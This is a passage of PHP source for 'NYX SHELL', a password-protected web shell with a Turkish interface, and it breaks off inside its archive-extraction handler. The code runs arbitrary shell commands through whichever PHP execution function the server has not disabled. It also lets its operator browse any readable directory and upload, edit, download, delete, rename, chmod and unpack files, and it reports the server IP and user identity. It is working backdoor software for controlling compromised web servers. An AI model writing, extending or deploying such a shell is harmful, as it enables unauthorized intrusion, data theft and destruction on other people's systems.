<?php
declare(strict_types=1);

error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');

if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => 0,
        'path'     => '/',
        'domain'   => '',
        'secure'   => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'),
        'httponly' => true,
        'samesite' => 'Strict',
    ]);
    session_start();
}

const NYX_VERSION     = '8.0';
const NYX_KEY         = 'nyxbaba';
const NYX_SELF        = 'Rainbow.php';
const NYX_BG_URL      = 'https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExM3p3aTZma2EyYW95dmwzY3U0dW9vMmhodWoyOG4zeHRwM2hqcHhwZSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/Kx4eEsM11o0ahK7KAM/200.webp';
const NYX_SESSION_TTL = 3600;

function nx_escape($v): string {
    return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');
}

function nx_js_attr($v): string {
    $json = json_encode($v, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    if ($json === false) $json = '""';
    return $json;
}

function nx_enc(string $path): string {
    return rtrim(strtr(base64_encode($path), '+/', '-_'), '=');
}

function nx_dec(string $s): ?string {
    if ($s === '') return null;
    $d = base64_decode(strtr($s, '-_', '+/'), true);
    return $d === false ? null : $d;
}

function nx_safe_path(string $base, string $rel): ?string {
    $baseReal = realpath($base);
    if ($baseReal === false) return null;

    $rel = str_replace('\\', '/', $rel);
    if ($rel === '' || strpos($rel, "\0") !== false) return null;

    if (DIRECTORY_SEPARATOR === '\\' && strpos($rel, ':') !== false) return null;

    foreach (explode('/', $rel) as $p) {
        if ($p === '..') return null;
    }

    $candidate = $baseReal . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
    $candidateReal = realpath($candidate);

    if ($candidateReal === false) {
        $parent = realpath(dirname($candidate));
        if ($parent === false) return null;
        if ($parent !== $baseReal && strpos($parent . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
            return null;
        }
        return $candidate;
    }

    if ($candidateReal !== $baseReal && strpos($candidateReal . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
        return null;
    }
    return $candidateReal;
}

function nx_fmt_size($b): string {
    if ($b === false || $b === null || $b < 0) return '—';
    if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576)    return number_format($b / 1048576, 2) . ' MB';
    if ($b >= 1024)       return number_format($b / 1024, 2) . ' KB';
    return $b . ' B';
}

function nx_ext(string $f): string {
    $f = rtrim($f, '/');
    $p = strrpos($f, '.');
    return $p === false ? '' : strtolower(substr($f, $p + 1));
}

function nx_is_archive(string $f): bool {
    $l = strtolower($f);
    foreach (['.tar.gz', '.tar.bz2', '.tar.xz'] as $e) {
        if (substr($l, -strlen($e)) === $e) return true;
    }
    return in_array(nx_ext($f), ['zip','tar','gz','tgz','bz2','rar','7z','xz','tbz2','txz'], true);
}

function nx_perms_str($perms): string {
    if ($perms === false || $perms === null) return '??????????';
    $i = '';
    if (($perms & 0xC000) === 0xC000) $i = 's';
    elseif (($perms & 0xA000) === 0xA000) $i = 'l';
    elseif (($perms & 0x8000) === 0x8000) $i = '-';
    elseif (($perms & 0x6000) === 0x6000) $i = 'b';
    elseif (($perms & 0x4000) === 0x4000) $i = 'd';
    elseif (($perms & 0x2000) === 0x2000) $i = 'c';
    elseif (($perms & 0x1000) === 0x1000) $i = 'p';
    else $i = 'u';
    $i .= (($perms & 0x0100) ? 'r' : '-');
    $i .= (($perms & 0x0080) ? 'w' : '-');
    $i .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $i .= (($perms & 0x0020) ? 'r' : '-');
    $i .= (($perms & 0x0010) ? 'w' : '-');
    $i .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $i .= (($perms & 0x0004) ? 'r' : '-');
    $i .= (($perms & 0x0002) ? 'w' : '-');
    $i .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $i;
}

function nx_writable(string $path): bool {
    if (!file_exists($path)) return false;

    if (is_dir($path)) {
        if (is_writable($path)) return true;
        try {
            $suffix = '.nx_' . bin2hex(random_bytes(8));
        } catch (Throwable $e) {
            $suffix = '.nx_' . md5((string)mt_rand() . (string)microtime(true));
        }
        $test = rtrim($path, '/\\') . DIRECTORY_SEPARATOR . $suffix;
        $h = @fopen($test, 'x');
        if ($h === false) return false;
        @fclose($h);
        @unlink($test);
        return true;
    }

    return is_writable($path);
}

function nx_run(string $cmd): array {
    $output = '';
    $code = -1;

    $rawDisabled = (string)@ini_get('disable_functions');
    $disabled = array_filter(array_map('strtolower', array_map('trim', explode(',', $rawDisabled))));

    $priority = ['exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open'];
    $fn = null;
    foreach ($priority as $f) {
        if (function_exists($f) && !in_array($f, $disabled, true)) { $fn = $f; break; }
    }
    if ($fn === null) return ['output' => 'Komut fonksiyonlari devre disi.', 'code' => -1];

    try {
        switch ($fn) {
            case 'exec':
                $lines = [];
                @exec($cmd . ' 2>&1', $lines, $code);
                $output = implode("\n", $lines);
                break;
            case 'system':
                ob_start();
                @system($cmd . ' 2>&1', $code);
                $output = (string)ob_get_clean();
                break;
            case 'passthru':
                ob_start();
                @passthru($cmd . ' 2>&1', $code);
                $output = (string)ob_get_clean();
                break;
            case 'shell_exec':
                $marker = '__NX_EXIT_' . bin2hex(random_bytes(4)) . '__';
                $raw = (string)@shell_exec($cmd . ' 2>&1; echo "' . $marker . '$?"');
                if (preg_match('/' . preg_quote($marker, '/') . '(\d+)\s*$/', $raw, $m)) {
                    $code = (int)$m[1];
                    $output = (string)preg_replace('/' . preg_quote($marker, '/') . '\d+\s*$/', '', $raw);
                } else {
                    $code = ($raw === '') ? 1 : 0;
                    $output = $raw;
                }
                break;
            case 'popen':
                $h = @popen($cmd . ' 2>&1', 'r');
                if (is_resource($h)) {
                    $output = '';
                    while (!feof($h)) {
                        $chunk = fread($h, 4096);
                        if ($chunk === false) break;
                        $output .= $chunk;
                    }
                    $code = pclose($h);
                }
                break;
            case 'proc_open':
                $d = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
                $p = @proc_open($cmd, $d, $pipes);
                if (is_resource($p)) {
                    fclose($pipes[0]);
                    $output = (string)stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $err = (string)stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    $code = proc_close($p);
                    if ($err !== '') $output .= "\n" . $err;
                }
                break;
        }
    } catch (Throwable $e) {
        $output = 'Hata: ' . $e->getMessage();
        $code = -1;
    }

    return ['output' => trim($output), 'code' => (int)$code];
}

function nx_rm_recursive(string $path): bool {
    if (is_link($path)) return @unlink($path);
    if (!file_exists($path)) return false;
    if (is_file($path)) return @unlink($path);
    if (!is_dir($path)) return false;
    $items = @scandir($path);
    if ($items === false) return false;
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        $child = $path . DIRECTORY_SEPARATOR . $it;
        if (is_dir($child) && !is_link($child)) nx_rm_recursive($child);
        else @unlink($child);
    }
    return @rmdir($path);
}

function nx_server_ip(): string {
    static $ip = null;
    if ($ip !== null) return $ip;
    if (!empty($_SERVER['SERVER_ADDR'])) return $ip = (string)$_SERVER['SERVER_ADDR'];
    if (!empty($_SERVER['LOCAL_ADDR']))  return $ip = (string)$_SERVER['LOCAL_ADDR'];
    return $ip = 'Bilinmiyor';
}

function nx_user_info(): array {
    static $cache = null;
    if ($cache !== null) return $cache;

    $user = 'Bilinmiyor';
    $id = 'Bilinmiyor';

    if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
        $euid = posix_geteuid();
        $pw = @posix_getpwuid($euid);
        if ($pw && isset($pw['name'])) $user = (string)$pw['name'];

        $egid = function_exists('posix_getegid') ? posix_getegid() : null;
        $idStr = 'uid=' . $euid;
        if ($egid !== null) {
            $idStr .= ' gid=' . $egid;
            if (function_exists('posix_getgrgid')) {
                $gr = @posix_getgrgid($egid);
                if ($gr && isset($gr['name'])) $idStr .= '(' . $gr['name'] . ')';
            }
        }
        $id = $idStr;
    } else {
        $w = nx_run('whoami');
        if ($w['code'] === 0 && $w['output'] !== '') $user = trim($w['output']);
        $i = nx_run('id');
        if ($i['code'] === 0 && $i['output'] !== '') $id = trim($i['output']);
    }

    return $cache = ['user' => $user, 'id' => $id];
}

function nx_type_label(string $file, string $full): string {
    if (@is_link($full)) return 'LINK';
    if (@is_dir($full))  return 'DIR';
    $l = strtolower($file);
    if (substr($l, -8) === '.tar.bz2') return 'TAR.BZ2';
    if (substr($l, -7) === '.tar.gz')  return 'TAR.GZ';
    if (substr($l, -7) === '.tar.xz')  return 'TAR.XZ';
    $e = nx_ext($file);
    return $e === '' ? 'DOSYA' : strtoupper($e);
}

function nx_icon(string $file): string {
    if (basename($file) === 'error_log') return 'LOG';
    if (in_array(basename($file), ['.htaccess', '.htpasswd', '.env'], true)) return 'CFG';
    $e = nx_ext($file);
    $map = [
        'IMG' => ['apng','avif','gif','jpg','jpeg','jfif','pjpeg','pjp','png','svg','webp','ico','bmp','tiff'],
        'AUD' => ['wav','m4a','m4b','mp3','ogg','webm','mpc','flac','aac'],
        'VID' => ['mp4','mov','avi','mkv','webm','flv','wmv','m4v'],
        'PHP' => ['php','phtml','php3','php4','php5','php7','phps'],
        'WEB' => ['html','htm','css','js','jsx','ts','tsx','vue','svelte'],
        'SRC' => ['py','rb','java','c','cpp','cs','go','swift','kt','sh','bash','zsh','sql','json','xml','yaml','yml'],
        'CFG' => ['ini','conf','env','cnf','config','tpl','twig','blade'],
        'ARC' => ['zip','rar','tar','gz','7z','bz2','xz','iso','jar','tgz','tbz2','txz'],
        'DOC' => ['pdf','doc','docx','xls','xlsx','ppt','pptx','odt','ods','odp','rtf','txt','md','log'],
    ];
    foreach ($map as $label => $exts) {
        if (in_array($e, $exts, true)) return $label;
    }
    return 'FILE';
}

function nx_set_msg(string $msg, string $type): void {
    $_SESSION['nx_msg'] = $msg;
    $_SESSION['nx_msg_type'] = $type;
}

function nx_csrf_token(): string {
    if (empty($_SESSION['nx_csrf'])) {
        try {
            $_SESSION['nx_csrf'] = bin2hex(random_bytes(32));
        } catch (Throwable $e) {
            $_SESSION['nx_csrf'] = hash('sha256', uniqid('', true) . mt_rand());
        }
    }
    return (string)$_SESSION['nx_csrf'];
}

function nx_csrf_field(): string {
    return '<input type="hidden" name="nx_csrf" value="' . nx_escape(nx_csrf_token()) . '">';
}

function nx_csrf_check(): void {
    if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') return;
    if (!isset($_POST['nyx_key'])) {
        $provided = (string)($_POST['nx_csrf'] ?? '');
        $expected = (string)($_SESSION['nx_csrf'] ?? '');
        if ($expected === '' || !hash_equals($expected, $provided)) {
            http_response_code(403);
            nx_set_msg('CSRF dogrulama hatasi. Sayfa yenileniyor.', 'error');
            $path = defined('NX_PATH') ? NX_PATH : '/';
            header('Location: ?p=' . urlencode(nx_enc($path)));
            exit;
        }
    }
}

function nx_redirect(string $path): void {
    $url = '?p=' . urlencode(nx_enc($path));
    if (headers_sent()) {
        echo '<script>location.href=' . nx_js_attr($url) . ';</script>';
        exit;
    }
    header('Location: ' . $url);
    exit;
}

function nx_render_login(?string $err = null): void {
    while (ob_get_level() > 0) { ob_end_clean(); }
    $errHtml = $err !== null ? '<div class="err">' . nx_escape($err) . '</div>' : '';
    $bgUrl = nx_escape(NYX_BG_URL);
    echo '<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NYX SHELL — Giris</title>
<style>
:root{
  --bg:#07090c;--panel:rgba(18,22,28,0.72);--border:rgba(48,56,68,0.55);
  --text:#dfe4ea;--muted:#7c8695;--accent:#4a9eff;--accent-h:#6fb3ff;
}
*{margin:0;padding:0;box-sizing:border-box}
html,body{height:100%;width:100%}
body{
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
  background:#07090c;color:var(--text);font-size:14px;
  display:flex;align-items:center;justify-content:center;overflow:hidden;position:relative;
}
.bg{
  position:fixed;inset:0;z-index:0;
  background:url("' . $bgUrl . '") center/cover no-repeat;
  filter:brightness(0.28) contrast(1.15) saturate(0.75) blur(1px);
  transform:scale(1.08);
}
.bg-overlay{
  position:fixed;inset:0;z-index:1;
  background:
    radial-gradient(ellipse at center,rgba(7,9,12,0.5) 0%,rgba(7,9,12,0.9) 65%,#07090c 100%),
    linear-gradient(180deg,rgba(7,9,12,0.3) 0%,rgba(7,9,12,0.6) 100%);
}
.bg-grid{
  position:fixed;inset:0;z-index:2;pointer-events:none;
  background-image:
    linear-gradient(rgba(74,158,255,0.03) 1px,transparent 1px),
    linear-gradient(90deg,rgba(74,158,255,0.03) 1px,transparent 1px);
  background-size:48px 48px;
  mask-image:radial-gradient(ellipse at center,black 0%,transparent 70%);
  -webkit-mask-image:radial-gradient(ellipse at center,black 0%,transparent 70%);
}
.card{
  position:relative;z-index:5;
  width:100%;max-width:410px;margin:20px;
  background:var(--panel);
  backdrop-filter:blur(28px) saturate(140%);-webkit-backdrop-filter:blur(28px) saturate(140%);
  border:1px solid var(--border);border-radius:16px;
  padding:46px 38px 38px;
  box-shadow:
    0 30px 80px rgba(0,0,0,0.75),
    0 0 0 1px rgba(255,255,255,0.025) inset,
    0 1px 0 rgba(255,255,255,0.04) inset;
  overflow:hidden;
}
.card::before{
  content:"";position:absolute;top:0;left:10%;right:10%;height:1px;
  background:linear-gradient(90deg,transparent,rgba(74,158,255,0.6),transparent);
}
.brand{
  display:flex;flex-direction:column;align-items:center;gap:14px;
  margin-bottom:8px;
}
.brand-logo{
  width:54px;height:54px;border-radius:13px;
  background:linear-gradient(135deg,#0d2440 0%,#1a4a8a 45%,#4a9eff 100%);
  display:flex;align-items:center;justify-content:center;
  font-weight:800;color:#fff;font-size:17px;letter-spacing:1px;
  box-shadow:
    0 10px 30px rgba(74,158,255,0.35),
    0 0 0 1px rgba(74,158,255,0.4) inset,
    0 1px 0 rgba(255,255,255,0.15) inset;
  position:relative;
}
.brand-logo::after{
  content:"";position:absolute;top:2px;left:2px;right:2px;height:45%;
  border-radius:11px 11px 50% 50%;
  background:linear-gradient(180deg,rgba(255,255,255,0.18),transparent);
  pointer-events:none;
}
.brand-name{font-size:21px;font-weight:700;letter-spacing:3px;color:#eef2f7}
.brand-sub{
  font-size:10.5px;color:var(--muted);
  letter-spacing:2.5px;text-transform:uppercase;
  margin-top:2px;
}
.divider{
  height:1px;margin:24px 0 22px;
  background:linear-gradient(90deg,transparent,rgba(48,56,68,0.8),transparent);
}
.err{
  background:rgba(229,72,77,0.08);border:1px solid rgba(229,72,77,0.35);
  color:#ff8b90;padding:11px 14px;border-radius:9px;
  font-size:12.5px;margin-bottom:18px;text-align:center;
  display:flex;align-items:center;gap:8px;justify-content:center;
}
.err::before{content:"⚠";font-size:14px}
label{
  display:block;font-size:10.5px;color:var(--muted);
  letter-spacing:1.4px;text-transform:uppercase;margin-bottom:9px;font-weight:600;
}
.input-wrap{position:relative}
input[type=password]{
  width:100%;padding:14px 16px;
  background:rgba(7,9,12,0.7);
  border:1px solid var(--border);border-radius:10px;
  color:var(--text);font-size:14px;font-family:inherit;
  outline:none;transition:all 0.2s;
  letter-spacing:1.5px;
}
input[type=password]:focus{
  border-color:rgba(74,158,255,0.7);
  background:rgba(7,9,12,0.85);
  box-shadow:0 0 0 3px rgba(74,158,255,0.15),0 0 20px rgba(74,158,255,0.1);
}
input[type=password]::placeholder{color:#3d444f;letter-spacing:2px}
button{
  width:100%;padding:14px;margin-top:16px;
  background:linear-gradient(180deg,#3b8de8 0%,#2563b8 100%);
  border:1px solid rgba(74,158,255,0.5);border-radius:10px;
  color:#fff;font-size:13px;font-weight:700;
  letter-spacing:1.8px;text-transform:uppercase;
  cursor:pointer;font-family:inherit;transition:all 0.2s;
  box-shadow:0 6px 20px rgba(37,99,184,0.35),0 1px 0 rgba(255,255,255,0.15) inset;
  position:relative;overflow:hidden;
}
button:hover{
  background:linear-gradient(180deg,#4a9eff 0%,#2f7cd1 100%);
  transform:translateY(-1px);
  box-shadow:0 10px 28px rgba(74,158,255,0.45),0 1px 0 rgba(255,255,255,0.2) inset;
}
button:active{transform:translateY(0)}
.foot{
  text-align:center;margin-top:26px;padding-top:20px;
  border-top:1px solid rgba(48,56,68,0.5);
  font-size:10.5px;color:#4a5058;letter-spacing:0.6px;
}
.foot b{color:var(--muted);font-weight:600}
.status-dot{
  display:inline-block;width:6px;height:6px;border-radius:50%;
  background:#30a46c;margin-right:6px;
  box-shadow:0 0 8px rgba(48,164,108,0.8);
  animation:pulse 2s ease-in-out infinite;
  vertical-align:middle;
}
@keyframes pulse{
  0%,100%{opacity:1;box-shadow:0 0 8px rgba(48,164,108,0.8)}
  50%{opacity:0.5;box-shadow:0 0 4px rgba(48,164,108,0.4)}
}
</style>
</head>
<body>
<div class="bg"></div>
<div class="bg-overlay"></div>
<div class="bg-grid"></div>
<form class="card" method="post" autocomplete="off">
  <div class="brand">
    <div class="brand-logo">NX</div>
    <div class="brand-name">NYX SHELL</div>
    <div class="brand-sub">Secure Management Console</div>
  </div>
  <div class="divider"></div>
  ' . $errHtml . '
  <label for="k">Erisim Sifresi</label>
  <div class="input-wrap">
    <input type="password" id="k" name="nyx_key" placeholder="••••••••" required autofocus>
  </div>
  <button type="submit">Kimlik Dogrula</button>
  <div class="foot"><span class="status-dot"></span>v' . NYX_VERSION . ' &nbsp;·&nbsp; <b>Katane Arqeen</b> &amp; <b>Real Arqeen</b></div>
</form>
</body>
</html>';
    exit;
}

function nx_check_auth(): void {
    if (isset($_GET['logout'])) {
        $_SESSION = [];
        if (ini_get('session.use_cookies')) {
            $p = session_get_cookie_params();
            setcookie(session_name(), '', [
                'expires'  => time() - 42000,
                'path'     => $p['path'],
                'domain'   => $p['domain'],
                'secure'   => $p['secure'],
                'httponly' => $p['httponly'],
                'samesite' => $p['samesite'] ?? 'Strict',
            ]);
        }
        session_destroy();
        $clean = strtok((string)($_SERVER['REQUEST_URI'] ?? NYX_SELF), '?');
        if ($clean === false || $clean === '') $clean = NYX_SELF;
        if (headers_sent()) echo '<script>location.href=' . nx_js_attr($clean) . ';</script>';
        else header('Location: ' . $clean);
        exit;
    }

    if (!empty($_SESSION['nx_auth']) && $_SESSION['nx_auth'] === true) {
        if (!empty($_SESSION['nx_last']) && (time() - (int)$_SESSION['nx_last'] > NYX_SESSION_TTL)) {
            $_SESSION = [];
            session_destroy();
            nx_render_login('Oturum suresi doldu. Tekrar giris yapin.');
        }
        if (array_key_exists('nx_ua', $_SESSION) && $_SESSION['nx_ua'] !== ($_SERVER['HTTP_USER_AGENT'] ?? '')) {
            $_SESSION = [];
            session_destroy();
            nx_render_login('Oturum dogrulamasi basarisiz.');
        }
        $_SESSION['nx_last'] = time();
        return;
    }

    if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST' && isset($_POST['nyx_key'])) {
        $provided = trim((string)$_POST['nyx_key']);
        if (hash_equals(NYX_KEY, $provided)) {
            session_regenerate_id(true);
            $_SESSION['nx_auth']  = true;
            $_SESSION['nx_login'] = time();
            $_SESSION['nx_last']  = time();
            $_SESSION['nx_ua']    = $_SERVER['HTTP_USER_AGENT'] ?? '';
            try {
                $_SESSION['nx_csrf'] = bin2hex(random_bytes(32));
            } catch (Throwable $e) {
                $_SESSION['nx_csrf'] = hash('sha256', uniqid('', true) . mt_rand());
            }
            if (headers_sent()) echo '<script>location.href=' . nx_js_attr(NYX_SELF) . ';</script>';
            else header('Location: ' . NYX_SELF);
            exit;
        }
        usleep(400000);
        nx_render_login('Gecersiz sifre.');
    }

    nx_render_login();
}

nx_check_auth();

$scriptPath = str_replace('\\', '/', dirname(__FILE__));
$currentPath = $scriptPath;

if (isset($_GET['p']) && $_GET['p'] !== '') {
    $decoded = nx_dec((string)$_GET['p']);
    if ($decoded !== null && $decoded !== '') {
        $decoded = str_replace('\\', '/', $decoded);
        $real = realpath($decoded);
        if ($real !== false && is_dir($real) && is_readable($real)) {
            $currentPath = $real;
        } else {
            nx_set_msg('Yol gecersiz veya erisilemiyor.', 'error');
        }
    } else {
        nx_set_msg('Gecersiz yol parametresi.', 'error');
    }
}

$currentPath = str_replace('\\', '/', $currentPath);
if ($currentPath !== '/' && strlen($currentPath) > 1) $currentPath = rtrim($currentPath, '/');
if ($currentPath === '') $currentPath = '/';

define('NX_PATH', $currentPath);

$message     = (string)($_SESSION['nx_msg'] ?? '');
$messageType = (string)($_SESSION['nx_msg_type'] ?? 'info');
unset($_SESSION['nx_msg'], $_SESSION['nx_msg_type']);

$actionOutput = '';

if (isset($_GET['dl'], $_GET['file'])) {
    $rel = (string)$_GET['file'];
    $target = nx_safe_path(NX_PATH, $rel);
    if ($target === null || !is_file($target) || !is_readable($target)) {
        nx_set_msg('Dosya indirilemiyor.', 'error');
        nx_redirect(NX_PATH);
    }
    while (ob_get_level() > 0) ob_end_clean();

    $baseName = basename($target);
    $asciiFallback = preg_replace('/[^\x20-\x7E]/', '_', $baseName);
    $asciiFallback = str_replace(['"', '\\', "\r", "\n"], '_', (string)$asciiFallback);
    if ($asciiFallback === '') $asciiFallback = 'download';

    $utf8Name = rawurlencode($baseName);

    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $asciiFallback . '"; filename*=UTF-8\'\'' . $utf8Name);
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($target));
    @readfile($target);
    exit;
}

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST') {

    if (!isset($_POST['nyx_key'])) {
        nx_csrf_check();
    }

    if (isset($_POST['nx_upload'])) {
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $name = basename((string)$_FILES['upload_file']['name']);
            $name = str_replace(["\0", '/', '\\'], '', $name);
            if ($name === '' || $name === '.' || $name === '..') {
                nx_set_msg('Gecersiz dosya adi.', 'error');
            } else {
                $target = NX_PATH . '/' . $name;
                if (!nx_writable(NX_PATH)) {
                    nx_set_msg('Hedef dizin yazilabilir degil.', 'error');
                } elseif (@move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
                    nx_set_msg('Yuklendi: ' . $name, 'success');
                } else {
                    nx_set_msg('Yukleme basarisiz.', 'error');
                }
            }
        } else {
            $errs = [
                UPLOAD_ERR_INI_SIZE   => 'php.ini limiti asildi.',
                UPLOAD_ERR_FORM_SIZE  => 'Form limiti asildi.',
                UPLOAD_ERR_PARTIAL    => 'Yarim yukleme.',
                UPLOAD_ERR_NO_FILE    => 'Dosya secilmedi.',
                UPLOAD_ERR_NO_TMP_DIR => 'Gecici dizin yok.',
                UPLOAD_ERR_CANT_WRITE => 'Diske yazilamadi.',
                UPLOAD_ERR_EXTENSION  => 'Eklenti engelledi.',
            ];
            $c = (int)($_FILES['upload_file']['error'] ?? UPLOAD_ERR_NO_FILE);
            nx_set_msg($errs[$c] ?? 'Bilinmeyen yukleme hatasi.', 'error');
        }
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_create'])) {
        $name = trim((string)($_POST['create_name'] ?? ''));
        $type = (string)($_POST['create_type'] ?? 'file');

        if ($name === '' || strpos($name, "\0") !== false || strpos($name, '/') !== false || strpos($name, '\\') !== false || $name === '.' || $name === '..') {
            nx_set_msg('Gecersiz isim.', 'error');
            nx_redirect(NX_PATH);
        }

        $new = NX_PATH . '/' . $name;
        if (file_exists($new)) {
            nx_set_msg('Bu isim zaten var.', 'error');
            nx_redirect(NX_PATH);
        }

        if ($type === 'dir') {
            $ok = @mkdir($new, 0755);
            nx_set_msg($ok ? 'Dizin olusturuldu.' : 'Dizin olusturulamadi.', $ok ? 'success' : 'error');
        } else {
            $ok = @touch($new);
            nx_set_msg($ok ? 'Dosya olusturuldu.' : 'Dosya olusturulamadi.', $ok ? 'success' : 'error');
        }
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_delete'])) {
        $rel = (string)($_POST['delete_name'] ?? '');
        $target = nx_safe_path(NX_PATH, $rel);

        if ($target === null || (!file_exists($target) && !is_link($target))) {
            nx_set_msg('Oge bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }

        if (is_dir($target) && !is_link($target)) {
            $ok = nx_rm_recursive($target);
            nx_set_msg($ok ? 'Dizin silindi.' : 'Dizin silinemedi.', $ok ? 'success' : 'error');
        } else {
            $ok = @unlink($target);
            nx_set_msg($ok ? 'Oge silindi.' : 'Silinemedi.', $ok ? 'success' : 'error');
        }
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_rename'])) {
        $orig = (string)($_POST['rename_original'] ?? '');
        $new  = trim((string)($_POST['rename_new'] ?? ''));
        $src  = nx_safe_path(NX_PATH, $orig);

        if ($src === null || !file_exists($src)) {
            nx_set_msg('Kaynak bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }

        if ($new === '' || strpos($new, "\0") !== false || strpos($new, '/') !== false || strpos($new, '\\') !== false || $new === '.' || $new === '..') {
            nx_set_msg('Gecersiz yeni isim.', 'error');
            nx_redirect(NX_PATH);
        }

        $dst = NX_PATH . '/' . $new;
        if (file_exists($dst)) {
            nx_set_msg('Hedef isim zaten var.', 'error');
            nx_redirect(NX_PATH);
        }

        $ok = @rename($src, $dst);
        nx_set_msg($ok ? 'Yeniden adlandirildi.' : 'Basarisiz.', $ok ? 'success' : 'error');
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_chmod'])) {
        $rel  = (string)($_POST['chmod_name'] ?? '');
        $perm = trim((string)($_POST['chmod_perm'] ?? ''));
        $target = nx_safe_path(NX_PATH, $rel);

        if ($target === null || !file_exists($target)) {
            nx_set_msg('Oge bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }
        if (!preg_match('/^0?[0-7]{3}$/', $perm)) {
            nx_set_msg('Gecersiz izin. Ornek: 644 veya 0644', 'error');
            nx_redirect(NX_PATH);
        }

        $oct = octdec($perm);
        $ok = @chmod($target, $oct);
        nx_set_msg($ok ? 'Izinler: ' . sprintf('%04o', $oct) : 'Chmod basarisiz.', $ok ? 'success' : 'error');
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_edit_save'])) {
        $rel = (string)($_POST['edit_file'] ?? '');
        $content = (string)($_POST['edit_content'] ?? '');
        $target = nx_safe_path(NX_PATH, $rel);

        if ($target === null || !is_file($target)) {
            nx_set_msg('Dosya bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }
        if (!nx_writable($target)) {
            nx_set_msg('Dosya yazilabilir degil.', 'error');
            nx_redirect(NX_PATH);
        }

        $written = @file_put_contents($target, $content, LOCK_EX);
        $ok = ($written !== false);
        nx_set_msg($ok ? 'Kaydedildi.' : 'Kaydedilemedi.', $ok ? 'success' : 'error');
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_archive'])) {
        $name = (string)($_POST['archive_name'] ?? '');
        $type = (string)($_POST['archive_type'] ?? '');
        $target = nx_safe_path(NX_PATH, $name);

        if ($target === null || !file_exists($target)) {
            nx_set_msg('Oge bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }

        $base = basename($name);
        $outName = '';
        $cmd = '';
        if ($type === 'zip') {
            $outName = $base . '.zip';
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && zip -rq ' . escapeshellarg($outName) . ' ' . escapeshellarg($name);
        } elseif ($type === 'tar') {
            $outName = $base . '.tar.gz';
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -czf ' . escapeshellarg($outName) . ' ' . escapeshellarg($name);
        }

        if ($cmd === '') {
            nx_set_msg('Gecersiz arsiv turu.', 'error');
            nx_redirect(NX_PATH);
        }

        $r = nx_run($cmd);
        nx_set_msg($r['code'] === 0 ? 'Arsiv: ' . $outName : 'Arsivleme basarisiz.', $r['code'] === 0 ? 'success' : 'error');
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_extract'])) {
        $name = (string)($_POST['extract_name'] ?? '');
        $target = nx_safe_path(NX_PATH, $name);

        if ($target === null || !is_file($target)) {
            nx_set_msg('Arsiv bulunamadi.', 'error');
            nx_redirect(NX_PATH);
        }

        $base = basename($name);
        if ($base === '' || strpos($base, "\0") !== false) {
            nx_set_msg('Gecersiz arsiv adi.', 'error');
            nx_redirect(NX_PATH);
        }

        $l = strtolower($base);
        $cmd = '';
        if (substr($l, -4) === '.zip') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && unzip -o -qq ' . escapeshellarg($base);
        } elseif (substr($l, -7) === '.tar.gz' || substr($l, -4) === '.tgz') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xzf ' . escapeshellarg($base);
        } elseif (substr($l, -8) === '.tar.bz2' || substr($l, -5) === '.tbz2') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xjf ' . escapeshellarg($base);
        } elseif (substr($l, -7) === '.tar.xz' || substr($l, -5) === '.txz') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xJf ' . escapeshellarg($base);
